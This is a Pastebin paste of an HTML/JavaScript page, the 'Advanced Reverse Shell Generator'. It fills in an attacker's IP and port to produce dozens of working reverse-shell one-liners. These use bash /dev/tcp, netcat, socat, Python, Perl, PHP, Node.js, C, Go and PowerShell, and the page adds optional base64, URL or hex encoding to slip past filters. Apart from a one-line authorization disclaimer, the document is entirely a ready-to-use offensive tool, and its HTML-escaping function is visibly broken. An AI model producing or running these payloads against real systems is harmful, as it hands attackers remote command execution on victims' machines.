Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Advanced Reverse Shell Generator</title>
- <style>
- :root {
- --bg-color: #0a0a0a;
- --container-bg: #1a1a2e;
- --card-bg: #16213e;
- --input-bg: #0f3460;
- --text-color: #e94560;
- --primary-color: #e94560;
- --secondary-color: #ffffff;
- --success-color: #00ff88;
- --warning-color: #ffaa00;
- --error-color: #ff4444;
- --code-bg: #0c0c1e;
- --border-color: #e94560;
- --shadow-color: rgba(233, 69, 96, 0.3);
- }
- * {
- box-sizing: border-box;
- }
- body {
- font-family: 'Courier New', Courier, monospace;
- background: linear-gradient(135deg, var(--bg-color) 0%, #1a1a2e 100%);
- color: var(--secondary-color);
- margin: 0;
- padding: 20px;
- min-height: 100vh;
- }
- .container {
- max-width: 1200px;
- margin: 0 auto;
- background-color: var(--container-bg);
- padding: 30px;
- border-radius: 15px;
- box-shadow: 0 0 30px var(--shadow-color);
- border: 2px solid var(--border-color);
- position: relative;
- overflow: hidden;
- }
- .container::before {
- content: '';
- position: absolute;
- top: 0;
- left: 0;
- right: 0;
- height: 3px;
- background: linear-gradient(90deg, var(--primary-color), var(--success-color), var(--primary-color));
- animation: pulse 2s ease-in-out infinite;
- }
- @keyframes pulse {
- 0%, 100% { opacity: 0.5; }
- 50% { opacity: 1; }
- }
- h1 {
- color: var(--primary-color);
- text-align: center;
- text-shadow: 0 0 10px var(--primary-color);
- margin-bottom: 10px;
- font-size: 2.5rem;
- font-weight: bold;
- }
- .disclaimer {
- font-size: 0.9em;
- text-align: center;
- color: var(--warning-color);
- margin-bottom: 30px;
- padding: 10px;
- background-color: rgba(255, 170, 0, 0.1);
- border-radius: 8px;
- border: 1px solid var(--warning-color);
- }
- .form-section {
- background-color: var(--card-bg);
- padding: 25px;
- border-radius: 10px;
- margin-bottom: 25px;
- border: 1px solid var(--border-color);
- }
- .form-row {
- display: grid;
- grid-template-columns: 1fr 1fr;
- gap: 20px;
- margin-bottom: 20px;
- }
- .form-group {
- display: flex;
- flex-direction: column;
- }
- .form-group.full-width {
- grid-column: 1 / -1;
- }
- label {
- display: block;
- margin-bottom: 8px;
- color: var(--primary-color);
- font-weight: bold;
- font-size: 0.9rem;
- }
- input[type="text"],
- input[type="number"],
- select {
- width: 100%;
- padding: 12px;
- background-color: var(--input-bg);
- border: 2px solid transparent;
- border-radius: 8px;
- color: var(--secondary-color);
- font-size: 1rem;
- transition: all 0.3s ease;
- }
- input[type="text"]:focus,
- input[type="number"]:focus,
- select:focus {
- outline: none;
- border-color: var(--primary-color);
- box-shadow: 0 0 10px rgba(233, 69, 96, 0.3);
- }
- input.error {
- border-color: var(--error-color);
- box-shadow: 0 0 10px rgba(255, 68, 68, 0.3);
- }
- .error-message {
- color: var(--error-color);
- font-size: 0.8rem;
- margin-top: 5px;
- display: none;
- }
- .checkbox-group {
- display: grid;
- grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
- gap: 15px;
- margin-top: 10px;
- }
- .checkbox-item {
- display: flex;
- align-items: center;
- gap: 8px;
- }
- input[type="checkbox"] {
- width: 18px;
- height: 18px;
- accent-color: var(--primary-color);
- }
- .checkbox-item label {
- margin: 0;
- font-size: 0.9rem;
- cursor: pointer;
- }
- button {
- padding: 15px 30px;
- background: linear-gradient(45deg, var(--primary-color), #ff6384);
- color: var(--secondary-color);
- border: none;
- border-radius: 8px;
- font-size: 1.1rem;
- font-weight: bold;
- cursor: pointer;
- transition: all 0.3s ease;
- text-transform: uppercase;
- letter-spacing: 1px;
- }
- button:hover {
- transform: translateY(-2px);
- box-shadow: 0 5px 15px rgba(233, 69, 96, 0.4);
- }
- button:active {
- transform: translateY(0);
- }
- button:disabled {
- opacity: 0.6;
- cursor: not-allowed;
- transform: none;
- }
- .generate-btn {
- width: 100%;
- margin-top: 20px;
- }
- .clear-btn {
- background: linear-gradient(45deg, #666, #888);
- margin-left: 10px;
- padding: 10px 20px;
- font-size: 0.9rem;
- }
- #output {
- margin-top: 30px;
- }
- .output-header {
- display: flex;
- justify-content: space-between;
- align-items: center;
- margin-bottom: 20px;
- }
- .output-stats {
- color: var(--success-color);
- font-size: 0.9rem;
- }
- .shell-grid {
- display: grid;
- grid-template-columns: repeat(auto-fit, minmax(500px, 1fr));
- gap: 20px;
- }
- .shell-card {
- background-color: var(--code-bg);
- border: 2px solid var(--border-color);
- border-radius: 10px;
- overflow: hidden;
- transition: all 0.3s ease;
- position: relative;
- }
- .shell-card:hover {
- transform: translateY(-5px);
- box-shadow: 0 10px 25px var(--shadow-color);
- }
- .shell-header {
- background: linear-gradient(45deg, var(--input-bg), var(--card-bg));
- padding: 15px 20px;
- font-weight: bold;
- color: var(--primary-color);
- border-bottom: 2px solid var(--border-color);
- display: flex;
- justify-content: space-between;
- align-items: center;
- }
- .shell-category {
- font-size: 0.8rem;
- color: var(--success-color);
- background-color: rgba(0, 255, 136, 0.1);
- padding: 2px 8px;
- border-radius: 12px;
- }
- .shell-command {
- padding: 20px;
- position: relative;
- }
- .copy-btn {
- position: absolute;
- top: 15px;
- right: 15px;
- background: linear-gradient(45deg, var(--primary-color), #ff6384);
- color: white;
- border: none;
- padding: 8px 15px;
- border-radius: 6px;
- cursor: pointer;
- font-size: 0.8em;
- transition: all 0.2s;
- z-index: 10;
- }
- .copy-btn:hover {
- transform: scale(1.05);
- }
- .copy-btn.copied {
- background: linear-gradient(45deg, var(--success-color), #00cc66);
- }
- pre {
- margin: 0;
- white-space: pre-wrap;
- word-wrap: break-word;
- padding-right: 80px;
- }
- code {
- font-family: 'Courier New', Courier, monospace;
- color: var(--success-color);
- font-size: 0.9rem;
- line-height: 1.4;
- }
- .encoding-info {
- background-color: var(--input-bg);
- padding: 10px;
- border-radius: 6px;
- margin-top: 10px;
- font-size: 0.8rem;
- color: var(--warning-color);
- }
- .no-results {
- text-align: center;
- color: var(--warning-color);
- font-size: 1.2rem;
- margin: 40px 0;
- }
- @media (max-width: 768px) {
- .form-row {
- grid-template-columns: 1fr;
- }
- .shell-grid {
- grid-template-columns: 1fr;
- }
- .container {
- padding: 20px;
- }
- h1 {
- font-size: 2rem;
- }
- }
- .loading {
- display: inline-block;
- width: 20px;
- height: 20px;
- border: 3px solid rgba(255,255,255,.3);
- border-radius: 50%;
- border-top-color: var(--primary-color);
- animation: spin 1s ease-in-out infinite;
- }
- @keyframes spin {
- to { transform: rotate(360deg); }
- }
- </style>
- </head>
- <body>
- <div class="container">
- <h1>Advanced Reverse Shell Generator</h1>
- <p class="disclaimer">
- ⚠️ For educational and authorized security testing purposes only.
- Ensure you have proper authorization before using these payloads.
- </p>
- <div class="form-section">
- <div class="form-row">
- <div class="form-group">
- <label for="lhost">LHOST (Your IP Address):</label>
- <input type="text" id="lhost" placeholder="10.10.10.5" required>
- <div class="error-message" id="lhost-error">Please enter a valid IP address</div>
- </div>
- <div class="form-group">
- <label for="lport">LPORT (Your Port):</label>
- <input type="number" id="lport" placeholder="4444" min="1" max="65535" required>
- <div class="error-message" id="lport-error">Port must be between 1 and 65535</div>
- </div>
- </div>
- <div class="form-row">
- <div class="form-group">
- <label for="encoding">Payload Encoding:</label>
- <select id="encoding">
- <option value="none">None (Plain Text)</option>
- <option value="base64">Base64 Encoding</option>
- <option value="url">URL Encoding</option>
- <option value="hex">Hex Encoding</option>
- </select>
- </div>
- <div class="form-group">
- <label for="shell-type">Shell Type Filter:</label>
- <select id="shell-type">
- <option value="all">All Types</option>
- <option value="scripting">Scripting Languages</option>
- <option value="system">System Commands</option>
- <option value="web">Web Languages</option>
- <option value="compiled">Compiled Languages</option>
- </select>
- </div>
- </div>
- <div class="form-group full-width">
- <label>Select Payload Types:</label>
- <div class="checkbox-group" id="payload-checkboxes">
- <!-- Checkboxes will be generated dynamically -->
- </div>
- </div>
- <div style="display: flex; align-items: center;">
- <button id="generateBtn" class="generate-btn">
- <span id="btn-text">Generate Payloads</span>
- <span id="btn-loading" class="loading" style="display: none;"></span>
- </button>
- <button id="clearBtn" class="clear-btn">Clear All</button>
- </div>
- </div>
- <div id="output">
- <!-- Generated shells will be injected here -->
- </div>
- </div>
- <script>
- document.addEventListener('DOMContentLoaded', () => {
- const lhostInput = document.getElementById('lhost');
- const lportInput = document.getElementById('lport');
- const encodingSelect = document.getElementById('encoding');
- const shellTypeSelect = document.getElementById('shell-type');
- const generateBtn = document.getElementById('generateBtn');
- const clearBtn = document.getElementById('clearBtn');
- const outputDiv = document.getElementById('output');
- const payloadCheckboxes = document.getElementById('payload-checkboxes');
- // Enhanced payload database with categories
- const shells = [
- // System Commands
- { name: 'Bash - TCP', category: 'system', command: `bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1` },
- { name: 'Bash - UDP', category: 'system', command: `bash -i >& /dev/udp/{LHOST}/{LPORT} 0>&1` },
- { name: 'Netcat (classic)', category: 'system', command: `nc -e /bin/bash {LHOST} {LPORT}` },
- { name: 'Netcat (no -e)', category: 'system', command: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f` },
- { name: 'Netcat (OpenBSD)', category: 'system', command: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f` },
- { name: 'Socat', category: 'system', command: `socat tcp-connect:{LHOST}:{LPORT} exec:"bash -li",pty,stderr,setsid,sigint,sane` },
- { name: 'Telnet', category: 'system', command: `TF=$(mktemp -u);mkfifo $TF && telnet {LHOST} {LPORT} 0<$TF | /bin/sh 1>$TF` },
- { name: 'Awk', category: 'system', command: `awk 'BEGIN {s = "/inet/tcp/0/{LHOST}/{LPORT}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'` },
- // Scripting Languages
- { name: 'Python 3', category: 'scripting', command: `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'` },
- { name: 'Python 2', category: 'scripting', command: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` },
- { name: 'Python (Short)', category: 'scripting', command: `python -c 'import os,pty,socket;s=socket.socket();s.connect(("{LHOST}",{LPORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'` },
- { name: 'Perl', category: 'scripting', command: `perl -e 'use Socket;$i="{LHOST}";$p={LPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` },
- { name: 'Ruby', category: 'scripting', command: `ruby -rsocket -e'f=TCPSocket.open("{LHOST}",{LPORT}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'` },
- { name: 'Lua', category: 'scripting', command: `lua -e "require('socket');require('os');t=socket.tcp();t:connect('{LHOST}','{LPORT}');os.execute('/bin/sh -i <&3 >&3 2>&3');"` },
- // Web Languages
- { name: 'PHP', category: 'web', command: `php -r '$sock=fsockopen("{LHOST}",{LPORT});exec("/bin/sh -i <&3 >&3 2>&3");'` },
- { name: 'PHP (Alternative)', category: 'web', command: `php -r '$sock=fsockopen("{LHOST}",{LPORT});shell_exec("/bin/sh -i <&3 >&3 2>&3");'` },
- { name: 'Node.js', category: 'web', command: `require('child_process').exec('nc -e /bin/sh {LHOST} {LPORT}')` },
- { name: 'Node.js (Alternative)', category: 'web', command: `(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect({LPORT}, "{LHOST}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();` },
- // Compiled Languages
- { name: 'Go', category: 'compiled', command: `echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","{LHOST}:{LPORT}");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go` },
- { name: 'Java', category: 'compiled', command: `r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{LHOST}/{LPORT};cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[]); p.waitFor()` },
- { name: 'C', category: 'compiled', command: `echo '#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>int main(){int fd=socket(AF_INET,SOCK_STREAM,0);struct sockaddr_in addr;addr.sin_family=AF_INET;addr.sin_port=htons({LPORT});addr.sin_addr.s_addr=inet_addr("{LHOST}");connect(fd,(struct sockaddr*)&addr,sizeof(addr));dup2(fd,0);dup2(fd,1);dup2(fd,2);execve("/bin/sh",NULL,NULL);}' > /tmp/shell.c && gcc /tmp/shell.c -o /tmp/shell && /tmp/shell` },
- // PowerShell
- { name: 'PowerShell (Modern)', category: 'system', command: `$client = New-Object System.Net.Sockets.TCPClient("{LHOST}",{LPORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()` },
- { name: 'PowerShell (Base64)', category: 'system', command: `powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAewBMAEgATwBTAFQAfQAiACwAewBMAFAATwBSAFQAfQApAA==` },
- // Additional payloads
- { name: 'Zsh', category: 'system', command: `zsh -c 'zmodload zsh/net/tcp && ztcp {LHOST} {LPORT} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'` },
- { name: 'Fish Shell', category: 'system', command: `fish -c 'set s (socket -t tcp {LHOST} {LPORT}); and exec /bin/sh <&$s >&$s 2>&$s'` },
- { name: 'Groovy', category: 'scripting', command: `String host="{LHOST}";int port={LPORT};String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();` }
- ];
- // Initialize checkboxes
- function initializeCheckboxes() {
- const categories = [...new Set(shells.map(shell => shell.category))];
- const categoryNames = {
- 'system': 'System Commands',
- 'scripting': 'Scripting Languages',
- 'web': 'Web Languages',
- 'compiled': 'Compiled Languages'
- };
- shells.forEach((shell, index) => {
- const checkboxItem = document.createElement('div');
- checkboxItem.className = 'checkbox-item';
- checkboxItem.innerHTML = `
- <input type="checkbox" id="shell-${index}" value="${index}" checked>
- <label for="shell-${index}">${shell.name}</label>
- `;
- payloadCheckboxes.appendChild(checkboxItem);
- });
- }
- // Validation functions
- function validateIP(ip) {
- const ipRegex = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
- return ipRegex.test(ip) || ip === 'localhost' || /^[a-zA-Z0-9.-]+$/.test(ip);
- }
- function validatePort(port) {
- const portNum = parseInt(port);
- return portNum >= 1 && portNum <= 65535;
- }
- function showError(inputId, show = true) {
- const input = document.getElementById(inputId);
- const error = document.getElementById(inputId + '-error');
- if (show) {
- input.classList.add('error');
- error.style.display = 'block';
- } else {
- input.classList.remove('error');
- error.style.display = 'none';
- }
- }
- // Encoding functions
- function encodePayload(payload, encoding) {
- switch(encoding) {
- case 'base64':
- return btoa(payload);
- case 'url':
- return encodeURIComponent(payload);
- case 'hex':
- return payload.split('').map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join('');
- default:
- return payload;
- }
- }
- function getEncodingInfo(encoding) {
- switch(encoding) {
- case 'base64':
- return 'Base64 encoded - decode with: echo "payload" | base64 -d';
- case 'url':
- return 'URL encoded - can be used directly in web contexts';
- case 'hex':
- return 'Hex encoded - decode with: echo "payload" | xxd -r -p';
- default:
- return '';
- }
- }
- function filterShells() {
- const shellType = shellTypeSelect.value;
- const selectedIndices = Array.from(document.querySelectorAll('#payload-checkboxes input[type="checkbox"]:checked'))
- .map(cb => parseInt(cb.value));
- let filteredShells = shells.filter((shell, index) => selectedIndices.includes(index));
- if (shellType !== 'all') {
- filteredShells = filteredShells.filter(shell => shell.category === shellType);
- }
- return filteredShells;
- }
- function generateShells() {
- const lhost = lhostInput.value.trim();
- const lport = lportInput.value.trim();
- const encoding = encodingSelect.value;
- // Validation
- let hasErrors = false;
- if (!lhost || !validateIP(lhost)) {
- showError('lhost', true);
- hasErrors = true;
- } else {
- showError('lhost', false);
- }
- if (!lport || !validatePort(lport)) {
- showError('lport', true);
- hasErrors = true;
- } else {
- showError('lport', false);
- }
- if (hasErrors) {
- return;
- }
- // Show loading
- document.getElementById('btn-text').style.display = 'none';
- document.getElementById('btn-loading').style.display = 'inline-block';
- generateBtn.disabled = true;
- // Simulate processing time
- setTimeout(() => {
- const filteredShells = filterShells();
- if (filteredShells.length === 0) {
- outputDiv.innerHTML = '<div class="no-results">No payloads selected. Please select at least one payload type.</div>';
- return;
- }
- outputDiv.innerHTML = `
- <div class="output-header">
- <h2 style="color: var(--primary-color); margin: 0;">Generated Payloads</h2>
- <div class="output-stats">${filteredShells.length} payload(s) generated</div>
- </div>
- <div class="shell-grid" id="shell-grid"></div>
- `;
- const shellGrid = document.getElementById('shell-grid');
- filteredShells.forEach(shell => {
- let finalCommand = shell.command
- .replace(/{LHOST}/g, lhost)
- .replace(/{LPORT}/g, lport);
- const originalCommand = finalCommand;
- if (encoding !== 'none') {
- finalCommand = encodePayload(finalCommand, encoding);
- }
- const categoryColors = {
- 'system': '#ff6b6b',
- 'scripting': '#4ecdc4',
- 'web': '#45b7d1',
- 'compiled': '#96ceb4'
- };
- const shellCard = document.createElement('div');
- shellCard.className = 'shell-card';
- shellCard.innerHTML = `
- <div class="shell-header">
- <span>${shell.name}</span>
- <span class="shell-category" style="background-color: ${categoryColors[shell.category]}20; color: ${categoryColors[shell.category]}">${shell.category}</span>
- </div>
- <div class="shell-command">
- <button class="copy-btn" data-command="${escapeHtml(finalCommand)}">Copy</button>
- <pre><code>${escapeHtml(finalCommand)}</code></pre>
- ${encoding !== 'none' ? `<div class="encoding-info">${getEncodingInfo(encoding)}</div>` : ''}
- </div>
- `;
- shellGrid.appendChild(shellCard);
- });
- // Hide loading
- document.getElementById('btn-text').style.display = 'inline';
- document.getElementById('btn-loading').style.display = 'none';
- generateBtn.disabled = false;
- }, 500);
- }
- function escapeHtml(unsafe) {
- return unsafe
- .replace(/&/g, "&")
- .replace(/</g, "<")
- .replace(/>/g, ">")
- .replace(/"/g, """)
- .replace(/'/g, "'");
- }
- function clearAll() {
- outputDiv.innerHTML = '';
- lhostInput.value = '';
- lportInput.value = '';
- encodingSelect.value = 'none';
- shellTypeSelect.value = 'all';
- // Reset all checkboxes
- document.querySelectorAll('#payload-checkboxes input[type="checkbox"]').forEach(cb => {
- cb.checked = true;
- });
- // Clear errors
- showError('lhost', false);
- showError('lport', false);
- }
- // Event delegation for copy buttons
- outputDiv.addEventListener('click', (e) => {
- if (e.target.classList.contains('copy-btn')) {
- const button = e.target;
- const commandText = button.dataset.command;
- navigator.clipboard.writeText(commandText).then(() => {
- button.textContent = 'Copied!';
- button.classList.add('copied');
- setTimeout(() => {
- button.textContent = 'Copy';
- button.classList.remove('copied');
- }, 2000);
- }).catch(err => {
- console.error('Failed to copy text: ', err);
- // Fallback for older browsers
- const textArea = document.createElement('textarea');
- textArea.value = commandText;
- document.body.appendChild(textArea);
- textArea.select();
- try {
- document.execCommand('copy');
- button.textContent = 'Copied!';
- button.classList.add('copied');
- setTimeout(() => {
- button.textContent = 'Copy';
- button.classList.remove('copied');
- }, 2000);
- } catch (err) {
- alert('Failed to copy text. Please copy manually.');
- }
- document.body.removeChild(textArea);
- });
- }
- });
- // Event listeners
- generateBtn.addEventListener('click', generateShells);
- clearBtn.addEventListener('click', clearAll);
- // Real-time validation
- lhostInput.addEventListener('input', () => {
- if (lhostInput.value.trim()) {
- showError('lhost', !validateIP(lhostInput.value.trim()));
- }
- });
- lportInput.addEventListener('input', () => {
- if (lportInput.value.trim()) {
- showError('lport', !validatePort(lportInput.value.trim()));
- }
- });
- // Enter key support
- [lhostInput, lportInput].forEach(input => {
- input.addEventListener('keypress', (e) => {
- if (e.key === 'Enter') {
- generateShells();
- }
- });
- });
- // Initialize the application
- initializeCheckboxes();
- });
- </script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment